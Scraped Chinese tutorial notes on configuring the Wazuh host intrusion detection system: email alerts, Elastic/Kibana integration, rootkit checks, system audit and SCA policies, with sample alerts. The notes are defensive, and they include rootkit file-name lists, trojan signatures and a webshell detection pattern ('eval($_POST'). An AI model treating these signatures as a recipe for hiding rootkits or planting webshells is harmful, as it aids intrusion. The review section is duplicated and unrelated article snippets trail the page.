   <email_to>student@woniuxy.com</email_to>
</global>

image-20211216020648935

另外,在ossec.conf的global节点中,还需要指定针对哪一个级别之上的预警信息发送邮件,比如设置为7级以上:

<alerts>
    <log_alert_level>3</log_alert_level>
    <email_alert_level>7</email_alert_level>
</alerts>

Wazuh与Elastic整合

一、Elastic Stack介绍
1、Elastic Search

Elasticsearch 是一个分布式、RESTful 风格的搜索和数据分析引擎,能够解决不断涌现出的各种用例。 作为 Elastic Stack 的核心,它集中存储您的数据,帮助您发现意料之中以及意料之外的情况。数字、文本、地理位置、结构化数据、非结构化数据。适用于所有数据类型。

image-20211215111055479

2、Kibana

Kibana 是一个免费且开放的用户界面,能够让您对 Elasticsearch 数据进行可视化,并让您在 Elastic Stack 中进行导航。您可以进行各种操作,从跟踪查询负载,到理解请求如何流经您的整个应用,都能轻松完成。

image-20211215111223293

3、Beats

Beats 是一个免费且开放的平台,集合了多种单一用途数据采集器。它们从成百上千或成千上万台机器和系统向 Logstash 或 Elasticsearch 发送数据。

image-20211215111342929

二、安装与配置
1、一键安装

Wazuh与Elastic的整合和配置过程相对是比较麻烦的,所以Wazuh在较新的版本中很好的解决了这一问题,只需要运行一个脚本,就可以完成所有安装和配置,完全的一键安装使用。

curl -sO https://packages.wazuh.com/4.3/wazuh-install.sh && sudo bash ./wazuh-install.sh -a

待上述安装完成后,直接访问 https://Wazuh-IP,(确保防火墙放行443端口),输入用户名:admin 和对应生成的密码即可访问 Elastic的Kibana页面。如图所示:

image-20230306010656105

2、查看密码

直接在当前安装目录中会存在一个文件名为:wazuh-install-files.tar,使用以下命令可查看到保存于该文件中的密码文件:

sudo tar -O -xvf wazuh-install-files.tar wazuh-install-files/wazuh-passwords.txt

如果无法成功执行上述命令,则直接将tar文件下载到Windows环境中打开访问即可。

3、确认服务
[root@centqiang ~]# systemctl list-unit-files | grep wazuh
wazuh-dashboard.service                       enabled 
wazuh-indexer-performance-analyzer.service    disabled
wazuh-indexer.service                         enabled 
wazuh-manager.service                         enabled
4、内存消耗
[root@centqiang ~]# free
              total        used        free      shared  buff/cache   available
Mem:        7990068     5500364      344272       12068     2145432     2171828
Swap:       8257532           0     8257532

一台全新服务器环境,安装完上述套件后,消耗内存5.5G左右。

三、各模块功能介绍

针对Wazuh的所有操作,均可以在Kibana中完成,比如配置Wauzh客户端、管理账户信息、查看安全预警事件、查看系统审计报告、管理规则库和解码库等,也包括更多可视化操作的功能。

image-20230306011226817

Wazuh检测木马与配置

一、RootCheck

就是对Rootkit进行检测,包括各类病毒、木马、恶意程序等。检测的依据主要是:文件名、文件内容。

1、ossec.conf配置
<rootcheck>
    <disabled>no</disabled>
    <check_files>yes</check_files>
    <check_trojans>yes</check_trojans>
    <check_dev>yes</check_dev>
    <check_sys>yes</check_sys>
    <check_pids>yes</check_pids>
    <check_ports>yes</check_ports>
    <check_if>yes</check_if>
    <frequency>30</frequency>
    <rootkit_files>etc/rootcheck/rootkit_files.txt</rootkit_files>
    <rootkit_trojans>etc/rootcheck/rootkit_trojans.txt</rootkit_trojans>
    <skip_nfs>yes</skip_nfs>
</rootcheck>
2、检测文件名

在 etc/rootcheck/rootkit_files.txt 中定义恶意文件名,如:

tmp/mcliZokhb               ! Bash door ::/rootkits/bashdoor.php
tmp/mclzaKmfa               ! Bash door ::/rootkits/bashdoor.php
proc/kset                   ! Suspicious file ::rootkits/Suspicious.php
usr/bin/gib                 ! Suspicious file ::rootkits/Suspicious.php
usr/bin/snick               ! Suspicious file ::rootkits/Suspicious.php
usr/bin/kfl                 ! Suspicious file ::rootkits/Suspicious.php
tmp/.dump                   ! Suspicious file ::rootkits/Suspicious.php
var/.x                      ! Suspicious file ::rootkits/Suspicious.php
var/.x/psotnic              ! Suspicious file ::rootkits/Suspicious.php

测试过程:

在/tmp目录下创建普通文件 mclzaKmfa(使用touch命令或者echo等命令均可)

预警信息:

** Alert 1658344353.3985950: - ossec,rootcheck,gdpr_IV_35.7.d,
2022 Jul 21 03:12:33 centqiang->rootcheck
Rule: 510 (level 7) -> 'Host-based anomaly detection event (rootcheck).'
Rootkit 'Bash' detected by the presence of file '/tmp/mclzaKmfa'.
title: Rootkit 'Bash' detected by the presence of file '/tmp/mclzaKmfa'.

或创建一个.dump的文件,也是同样的效果。

3、检测文件内容

在 etc/rootcheck/rootkit_trojans.txt 中定义文件内容(二进制文件或文本文件),如:

grep        !bash|givemer!
egrep       !bash|^/bin/sh|file\.h|proc\.h|/dev/|^/bin/.*sh!
find        !bash|/dev/[^tnlcs]|/prof|/home/virus|file\.h!
/etc/hosts  !^[^#]*mcafee\.com! Anti-virus site on the hosts file
/etc/hosts  !^[^#]*microsoft\.com! Anti-virus site on the hosts file
/etc/hosts  !^[^#]*f-secure\.com! Anti-virus site on the hosts file

在/etc/hosts文件中添加:

192.168.112.123 mcafee.com

得到的预警信息为:

** Alert 1658344791.3990190: - ossec,rootcheck,gdpr_IV_35.7.d,
2022 Jul 21 03:19:51 centqiang->rootcheck
Rule: 510 (level 7) -> 'Host-based anomaly detection event (rootcheck).'
Trojaned version of file '/etc/hosts' detected. Signature used: '^[^#]*mcafee\.com' (Anti-virus site on the hosts file).
title: Trojaned version of file detected.
file: /etc/hosts
二、System Audit
1、修改配置信息
在 etc/rootcheck 目录下添加一个 system_audit_woniu.txt文件,并引入到主配置文件中
 <rootcheck>
    ……………………………………
    <frequency>30</frequency>
    <rootkit_files>etc/rootcheck/rootkit_files.txt</rootkit_files>
    <rootkit_trojans>etc/rootcheck/rootkit_trojans.txt</rootkit_trojans>
    <system_audit>etc/rootcheck/system_audit_woniu.txt</system_audit>
    <skip_nfs>yes</skip_nfs>
 </rootcheck>
2、添加配置规则

在 etc/rootcheck 下新增文件 system_audit_woniu.txt,内容如下:

# 可以定义路径或文件名为变量、也可以不定义直接引用
$php.ini=/opt/lampp/etc/php.ini;
$web_dirs=/opt/lampp/htdocs;
# 规则分为三个部分:
# 第一个部分是解释说明注释(可不写)
# 第二个部分是必须写,有[规则描述] [触发条件] [参考引用]
# 第三个部分是规则本身:方向箭头的左边位置:f:代表文件,d:代表目录,p:代表进程,c:代表命令,r:代表注册表
# 方向箭头的右边位置,可以直接写普通文件,代表模糊匹配,也可以写r:代表正则匹配,也可以使用 && 进行多条件匹配
# 如果是目录,则需要定义一个中间箭头,用于确认查询当前目录下的哪些文件
# PHP Checks
[PHP - 远程文件包含是否开启] [any] []
f:$php.ini -> r:^allow_url_include=Off;
# Web Shell Checks
[PHP - 是否存在一句话木马] [any] []
d:$web_dirs -> .jpg$ -> eval;
d:/opt/lampp/htdocs -> .php$ -> r:eval\(\$_POST;

触发条件解释如下:
all:只有当下面的所有规则均匹配成功时才会预警,不太适用于多条件情况
any:当其中任意一个规则满足时就会预警,较适用于多个配置同时开启的情况,所以配置项应该设置为不安全配置
none:当没有任何一条规则满足时预警(全部不一样,不常用)

3、查看预警信息

** Alert 1658348456.4018920: - ossec,rootcheck,gdpr_IV_30.1.g,
2022 Jul 21 04:20:56 centqiang->rootcheck
Rule: 516 (level 3) -> 'System Audit event.'
System Audit: PHP - 远程文件包含是否开启. File: /opt/lampp/etc/php.ini.
title: PHP - 远程文件包含是否开启.
file: /opt/lampp/etc/php.ini
** Alert 1658348456.4019227: - ossec,rootcheck,gdpr_IV_30.1.g,
2022 Jul 21 04:20:56 centqiang->rootcheck
Rule: 516 (level 3) -> 'System Audit event.'
System Audit: PHP - 是否存在一句话木马. File: /opt/lampp/htdocs/security/temp/mm.php.
title: PHP - 是否存在一句话木马.
file: /opt/lampp/htdocs/security/temp/mm.php
三、SCA
1、添加一个自定义SCA文件

SCA的规则目录在 ruleset/sca 目录下,是yml文件格式

policy:
  id: "custom_woniu_sca"
  file: "custom_woniu_sca.yml"
  name: "System audit for CentOS based systems"
  description: "针对当前CentOS的核心配置进行检查"
  references:
    - https://www.woniuxy.com
checks:
  - id: 561501
    title: "PHP的核心配置文件"
    description: "PHP核心配置文件是否篡改"
    condition: none
    rules:
      - 'f:/opt/lampp/etc/php.ini -> r:allow_url_include=On'

2、添加sca主配置文件

<sca>
    <enabled>yes</enabled>
    <scan_on_start>no</scan_on_start>
    <interval>1m</interval>
    <skip_nfs>yes</skip_nfs>
    <policies>
      <policy>ruleset/sca/custom_woniu_sca.yml</policy>
    </policies>
  </sca>

3、查看预警信息

** Alert 1658347808.4009220: mail  - sca,gdpr_IV_35.7.d,pci_dss_2.2,nist_800_53_CM.1,tsc_CC7.1,tsc_CC7.2,
2022 Jul 21 04:10:08 centqiang->sca
Rule: 19011 (level 9) -> 'System audit for CentOS based systems: PHP的核心配置文件: Status changed from passed to failed'
{"type":"check","id":467125162,"policy":"System audit for CentOS based systems","policy_id":"custom_woniu_sca","check":{"id":561501,"title":"PHP的核心配置文件","description":"PHP核心配置文件是否篡改","rules":["f:/opt/lampp/etc/php.ini -> r:allow_url_include=Off"],"condition":"none","file":"/opt/lampp/etc/php.ini","result":"failed"}}
sca.type: check
sca.scan_id: 467125162
sca.policy: System audit for CentOS based systems
sca.check.id: 561501
sca.check.title: PHP的核心配置文件
sca.check.description: PHP核心配置文件是否篡改
sca.check.file: ["/opt/lampp/etc/php.ini"]
sca.check.result: failed
sca.check.previous_result: passed

需要注意的是,只有配置文件被修改过或配置规则被修改过,导致两次结果不一样,才会触发。否则会导致频繁触发,意义不大。

sca.check.result: failedsca.check.previous_result: passed

4、某个SCA配置文件的整体得分

** Alert 1662024807.4689783: mail  - sca,gdpr_IV_35.7.d,pci_dss_2.2,nist_800_53_CM.1,tsc_CC7.1,tsc_CC7.2,
2022 Sep 01 17:33:27 centqiang->sca
Rule: 19005 (level 9) -> 'SCA summary: System audit for CentOS based systems: Score less than 30% (0)'
{"type":"summary","scan_id":2051873390,"name":"System audit for CentOS based systems","policy_id":"custom_woniu_sca","file":"custom_woniu_sca.yml","description":"针对当前CentOS的核心配置进行检查","references":"https://www.woniuxy.com","passed":0,"failed":2,"invalid":0,"total_checks":2,"score":0,"start_time":1662024786,"end_time":1662024786,"hash":"567cbc74f20e5da57d738ca37b892af6bfa3bfeebd877864e526384128bba8e9","hash_file":"b50e32ff91f5499a6fb6bf454b005e5b8447bbb2e90943723bd7834a5de48b71","force_alert":"1","force_alert":"1"}
sca.type: summary
sca.scan_id: 2051873390
sca.policy: System audit for CentOS based systems
sca.description: 针对当前CentOS的核心配置进行检查
sca.policy_id: custom_woniu_sca
sca.passed: 0
sca.failed: 2
sca.invalid: 0
sca.total_checks: 2
sca.score: 0                     // 得分为0,代表所有配置项均不正确
sca.file: custom_woniu_sca.yml

各类日志分析工具(详见笔记)

  1. 360星图日志分析工具
  2. Log Parser及事件查看器
  3. 绿盟LAS日志审计系统
  4. 安恒数据库审计系统

⑧本周内容复习与总结

1、日志检测,文件检测

2、wazuh就一套日志检测加主动响应系统。 HIDS,主机入侵检测系统

3、wazuh的架构:server端,agent端,它们之间通过remote进行通信。server端的核心部分就是解码器、规则匹配机制,产生预警的日志或数据,这些数据可以被ES读取并且分析

4、wazuh常见模块:日志检测、文件完整性监测、系统审计、漏洞审计、docker监测

5、如何使用这些功能

核心步骤:

  1. 主配置文件ossec.conf的配置, 关注各种需要使用的模块的状态是禁用还是启用
  2. 是否具有对应的解码器,如果没有,则可以自定义相应的解码器
    • 解码器的作用:对日志进行分类,因为日志种类和格式不一样
    • 解码器常用的语法
    • 自定义解码器的写法
  3. 是否具有对应的匹配规则,如果没有,则可以自定义相应的匹配规则
    • 规则的作用:具体去匹配日志内容中的指定的正则表达式的内容
    • 规则的常用语法
    • 自定义规则的写法
  4. 规则测试: wazuh_logtest用法

6、agent和server

  1. 如何部署agent, 不同的操作系统部署方式
  2. agent注册到服务器的方法
    1. 服务器需要添加agent
    2. 服务器为添加的agent生成key
    3. agent需要导入第二步的key
    4. agent需要重启
  3. 监测agent所在的设备的配置方式
    1. 主配置文件ossec.conf在agent上面
    2. 解码器和规则在server端

7、界面整合

  • 了解如何部署,基本使用

8、学习wazuh的意义

  • 一般来说,wazuh不会直接被应用到企业的安全管理中
  • 企业级的日志监测或HIDS都是参照wazuh的逻辑实现的
    864e526384128bba8e9",“hash_file”:“b50e32ff91f5499a6fb6bf454b005e5b8447bbb2e90943723bd7834a5de48b71”,“force_alert”:“1”,“force_alert”:“1”}
    sca.type: summary
    sca.scan_id: 2051873390
    sca.policy: System audit for CentOS based systems
    sca.description: 针对当前CentOS的核心配置进行检查
    sca.policy_id: custom_woniu_sca
    sca.passed: 0
    sca.failed: 2
    sca.invalid: 0
    sca.total_checks: 2
    sca.score: 0 // 得分为0,代表所有配置项均不正确
    sca.file: custom_woniu_sca.yml

## ⑦**各类日志分析工具**(详见笔记)

1. 360星图日志分析工具
2. Log Parser及事件查看器
3. 绿盟LAS日志审计系统
4. 安恒数据库审计系统

## ⑧本周内容复习与总结

1、日志检测,文件检测

2、wazuh就一套日志检测加主动响应系统。 HIDS,主机入侵检测系统

3、wazuh的架构:server端,agent端,它们之间通过remote进行通信。server端的核心部分就是解码器、规则匹配机制,产生预警的日志或数据,这些数据可以被ES读取并且分析

4、wazuh常见模块:日志检测、文件完整性监测、系统审计、漏洞审计、docker监测

5、如何使用这些功能

核心步骤:

1. 主配置文件ossec.conf的配置, 关注各种需要使用的模块的状态是禁用还是启用
2. 是否具有对应的解码器,如果没有,则可以自定义相应的解码器
   - 解码器的作用:对日志进行分类,因为日志种类和格式不一样
   - 解码器常用的语法
   - 自定义解码器的写法
3. 是否具有对应的匹配规则,如果没有,则可以自定义相应的匹配规则
   - 规则的作用:具体去匹配日志内容中的指定的正则表达式的内容
   - 规则的常用语法
   - 自定义规则的写法
4. 规则测试: wazuh_logtest用法

6、agent和server

1. 如何部署agent, 不同的操作系统部署方式
2. agent注册到服务器的方法
   1. 服务器需要添加agent
   2. 服务器为添加的agent生成key
   3. agent需要导入第二步的key
   4. agent需要重启
3. 监测agent所在的设备的配置方式
   1. 主配置文件ossec.conf在agent上面
   2. 解码器和规则在server端

7、界面整合

- 了解如何部署,基本使用

8、学习wazuh的意义

- 一般来说,wazuh不会直接被应用到企业的安全管理中
- 企业级的日志监测或HIDS都是参照wazuh的逻辑实现的
- 熟悉wazuh的工作机制和配置方式,那么可以无缝切换到其他同类的设备的配置中,可以大幅度降低学习和使用设备的难度

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/638072.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【Sync FIFO介绍及基于Verilog的实现】

Sync FIFO介绍及实现 1 Intro2 Achieve2.1 DFD2.2 Intf2.3 Module 本篇博客介绍无论是编码过程中经常用到的逻辑–FIFO&#xff1b;该FIFO是基于单时钟下的同步FIFO&#xff1b; FiFO分类&#xff1a;同步FiFO VS 异步FiFO&#xff1b; 1 Intro FIFO可以自己实现&#xff0c;但…

mysqldump提示Using a password on the command line interface can be insecured的解决办法

mysql数据库备份一句话执行命令 mysqldump --all-databases -h127.0.0.1 -uroot -p123456 > allbackupfile.sql 提示如下提示 [rootyfvyy5b2on3knb8q opt]# mysqldump --all-databases -h127.0.0.1 > allbackupfile.sql mysqldump: Couldnt execute SELECT COLUMN_NA…

Unity Miscellaneous入门

概述 在Unity中有非常多好用的组件&#xff0c;也是Unity为我们提供的方便的开发工具&#xff0c;它的功能可能不是主流的内容&#xff0c;比如渲染&#xff0c;音乐&#xff0c;视频等等&#xff0c;所有Unity把这些内容统一归到了一个杂项文件组中。 Unity组件入门篇总目录-…

[AI Google] 10个即将到来的Android生态系统更新

新的体验带来了更强的防盗保护、手表电池寿命优化&#xff0c;以及对电视、汽车等的娱乐功能改进。 昨天&#xff0c;我们分享了Android如何以人工智能为核心重新构想智能手机。今天&#xff0c;我们推出了Android 15的第二个测试版&#xff0c;并分享了更多我们改进操作系统的…

经纬恒润第三代重载自动驾驶平板车

随着无人驾驶在封闭场地和干线道路场景的加速落地&#xff0c;港口作为无人化运营的先行者&#xff0c;其场景的复杂度、特殊性对无人化运营的技术提出了各种挑战。经纬恒润作为无人驾驶解决方案提供商&#xff0c;见证了港口在无人化运营方面的尝试及发展&#xff0c;并深度参…

elementUI使用el-tabs加el-form导致页面崩溃以及el-form里的input事件丢失问题

elementUI使用el-tabs加el-form导致页面崩溃以及el-form里的input事件丢失问题 解决 el-form外面包一层el-row和el-col&#xff0c;el-tabs也包一层 el-fom e-tabs

《基于Jmeter的性能测试框架搭建》改进一

《基于Jmeter的性能测试框架搭建》文末笔者提到了不少待改进之处&#xff0c;如下所示。 Grafana性能图表实时展现&#xff0c;测试过程中需实时截图形成测试报告&#xff0c;不够人性化。解决方案&#xff1a;自动生成测试报告并邮件通知。 Grafana性能图表需测试人员实时监控…

设计模式使用(成本扣除)

前言 名词解释 基础名词 订单金额&#xff1a;用户下单时支付的金额&#xff0c;这个最好理解 产品分成&#xff1a;也就是跟其他人合做以后我方能分到的金额&#xff0c;举个例子&#xff0c;比如用户订单金额是 100 块&#xff0c;我方的分成是 80%&#xff0c;那么也就是…

《Fundamentals of Power Electronics》——开关电源环路稳定性分析(下)

第二步&#xff1a;我们把控制到输出传递函数的波特图画出来&#xff0c;此时有相位和增益&#xff1b; 第三步&#xff1a;我们已经掌握了一个电源要稳定需要什么样的稳定性条件&#xff1b;

从0开始写一个环境保护网站的第3天(JAVAWEB)

1.目标 实现首页的环境保护原因的查询,和底部友情连接部分 2.实现 2.1建立数据库表格(这里数据全是百度查询) 环境保护原因表: 友情连接表:(数据来源https://zhuanlan.zhihu.com/p/696243646) 2.2前端部分可以自己写,但是我一般都是用框架中的控件,这里用的是boot…

机器学习模型可视化分析和诊断神器Yellowbrick

大家好&#xff0c;机器学习(ML)作为人工智能的核心&#xff0c;近来得到巨大应用&#xff0c;ML是使计算机能够在无需显式编程的情况下进行学习和预测或决策。ML算法通过学习历史数据模式&#xff0c;来对新的未见数据做出明智的预测或决策。然而&#xff0c;构建和训练ML模型…

Jmeter示例参数化

Jmeter示例 1.Jmeter第一个案例操作步骤 2.重点组件线程组1.添加线程组2.线程组的特点3.线程组的分类4.线程组参数详解在取样器执行错误后要执行的动作线程属性调度器配置 5.http请求6.查看结果树 3.Jmeter 参数化1.用户定义的变量场景操作步骤 2.CSV数据文件设置场景操作步骤参…

idea中显示git的Local Changes

1. 第一打开idea中的Settings文件 2. 找到Version Contro中的commint 3. 取消勾选应用即可 4. 本地提交就会显示出来

eNSP小练习一枚

问答看到的&#xff0c;随便敲了敲&#xff0c;希望各路大佬不吝赐教~ 话说现在的问答全是ai&#xff0c;乌烟瘴气的 首先配置全互通&#xff0c;ip vlan 端口隔离 ospf啥的 SWA # vlan batch 10 20 30 99 # interface Vlanif1ip address 10.1.1.2 255.255.255.0 # interf…

Linux--09---RPM 、YUM

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 RPM1 什么是RPM2 RPM包的名称格式3.RPM查询命令4.RPM卸载命令5.RPM安装命令 YUM1 什么是YUMYUM优势1.自动下载RPM包并且安装2.自动处理依赖性关系&#xff0c;并且一…

西门子CPU与汇川伺服通信与控制

西门子CPU与汇川620F伺服通信与控制 一、西门子CPU与汇川620F伺服通信与控制1、器件准备2、伺服软件设置3、PLC添加汇川伺服描述文件4、PLC编程调试5、总结 二、西门子s7-1500限位信号接到伺服的方法1、通过默认报文获取限位信号2、添加自定义报文获取限位信号3、总结 三、西门…

MySQL主从复制(一):主备一致

MySQL主备的基本原理 如图所示就是基本的主备切换流程&#xff1a; 在状态1中&#xff0c; 客户端的读写都直接访问节点A&#xff0c; 而节点B是A的备库&#xff0c; 只是将A的更新都同步过来&#xff0c; 到本地执行。 这样可以保持节点B和A的数据是相同的。 当需要切换的时候…

【AI大模型】Embedding模型解析 文本向量知识库的构建和相似度检索

&#x1f680; 作者 &#xff1a;“大数据小禅” &#x1f680; 文章简介 &#xff1a;本专栏后续将持续更新大模型相关文章&#xff0c;从开发到微调到应用&#xff0c;需要下载好的模型包可私。 &#x1f680; 欢迎小伙伴们 点赞&#x1f44d;、收藏⭐、留言&#x1f4ac; 目…

用Sora等AI视频大模型赚钱的48种方式

不废话&#xff0c;直接上干货&#xff01; \1. 定制视频创作服务&#xff1a;为寻找在社交媒体平台上脱颖而出的企业和个人提供定制视频制作服务&#xff0c;或用于个人使用。根据特定主题或行业量身定制视频&#xff0c;例如旅行、教育或产品营销。 \2. **教育内容包&#…